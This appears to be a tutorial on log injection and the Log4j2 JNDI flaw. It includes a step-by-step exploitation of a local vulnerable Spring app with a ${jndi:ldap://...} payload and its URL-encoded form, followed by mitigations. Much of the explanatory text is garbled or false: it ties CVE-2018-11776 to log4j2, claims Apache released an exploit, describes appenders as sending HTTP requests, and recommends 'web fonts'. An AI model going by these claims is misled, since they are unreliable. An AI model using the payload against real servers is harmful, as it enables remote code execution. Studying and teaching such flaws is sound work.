**Log injection**

Logging is the primary way for applications to communicate information to users and system administrators. It helps to understand what is happening within an application. Developers normally log information in their applications to assist with troubleshooting and to verify that their software works as intended. Logs can be a source of useful debugging information. However, logs can also be a source of security vulnerabilities if they're not handled responsibly. One of the log injection vulnerabilities in Log4j 1. x addressed in Log4j 2.0 was when logging records contained user input, such as usernames or password values. Log4j 2.0 now checks user input values against the configured constant expression rules and escapes characters deemed dangerous. This prevents malicious characters from being included in log messages.

Additionally, if an application logs information to multiple different logging frameworks, developers should ensure that they follow best practices when writing log messages. Doing so helps ensure that evil characters do not appear within them via injection attacks or escaping issues. Log injection vulnerabilities can be quite serious as they allow attackers access to sensitive information within your application's logs without their knowledge or consent.

In some cases, hackers have used log messages to access accounts with administrator privileges without those accounts ever being compromised. To help avoid this problem, developers should always follow best practices when writing log messages. This includes using certain web fonts and avoiding personal information when logging events. Always follow industry standards for logging events so that you can easily view your logs by any interested parties should any issues or bugs arise during the development or operation of your application. Another common mistake when handling logs is failing to apply filters and actions to log messages. Many organizations apply logs as a source of system information for infrastructure, management, and development purposes- but they don't always plan how this information will impact their users. For example, logs may contain critical details about crashes or system failures that negatively affect end users' experiences with your app. To avoid alarming end users, it's critical that you apply actionable filters to your logs before sharing them with anyone else- especially system administrators or development team members who are not directly involved with your app's operation.

**How to exploit the program**

Apache's log4j2 is a popular logging framework used by much open-source software. It's also a log4j2 framework that's open source and maintained by the Apache Foundation. A log4j2 appender is a component of a logging framework that logs data to a file, system API, or database. As such, it's an important part of every software program.

Since log4j2 is open source, anyone with the necessary knowledge can decompile and modify it. Developers have found numerous security issues with log4j2 in the past and have been able to use those issues to hack someone's computer remotely. The Apache foundation recently addressed one such issue as a patch for log4j2 2.0. The remediation patch addresses CVE-2018-11776, which allows for arbitrary command execution when using an appender with a static hostname and default configuration values. As remediation, Apache incorporated the exploit into their security toolkit, allowing security researchers to find and mitigate vulnerabilities in their code with minimal effort.

When someone uses log4j2 to log information to a file or system API, that information is sent as HTTP requests to the host where the log4j2 appender is configured. This is illustrated by the following diagram showing how an appender sends logged data to a remote host: After receiving it, the remote host wraps it in an HTTP response and sends it back to the browser or system where log4j2 was used. This allows a hacker to easily obtain logged information without even having to interact with the logged target user's device.

To make an exploit for a Log4j2 vulnerability, a malicious attacker must find a Log4j2 appender that's accessible from the web. This can be challenging since most Log4j2 appenders are only accessible from localhost or from an IP address directly assigned to it on the machine where log4j2 is installed. However, if someone runs their application on a web server, they can expose any localhost accessible Log4j2 appenders via that server without affecting their own machine's security.

Apache released an exploit for a Log4j2 vulnerability so that security researchers could help remediate vulnerabilities in their open-source code without years of costly development or manual labor. Any user who uses Apache's log4j2 framework should keep it up to date with any applicable patches and ensure that any accessible Log4j2 appenders are kept secure.

**Step By Step for the exploitation**

Open the application using Spring tool suite IDE.

Build the application using the Gradle task window.

Run the application.

The server will be hosted at the local host.

**Server 🡪** <http://localhost:8080/vuln?userInput=user>

User can be changed to any input the input will be saved in the log.

This is where we will input the malicious code.

Malicious input code 🡪 ${jndi:ldap://127.0.0.1:3089/}

Encode the malicious input using a free URL encoder

Encoded Input 🡪 %24%7Bjndi%3Aldap%3A%2F%2F127.0.0.1%3A3089%2F%7D

And you will see, it will try to connect to LDAP using JNDI lookup.

Exploitation completed.

**Mitigation**

* Log4j 2.x mitigation: Implement one of the mitigation techniques below.
  + Java 8 (or later) users should upgrade to release 2.17.0.
* Alternatively, this can be mitigated in the configuration:
  + In PatternLayout in the logging configuration, replace Context Lookups like ${ctx:loginId} or $${ctx:loginId} with Thread Context Map patterns (%X, %mdc, or %MDC).
  + Otherwise, in the configuration, remove references to Context Lookups like ${ctx:loginId} or $${ctx:loginId} where they originate from sources external to the application such as HTTP headers or user input.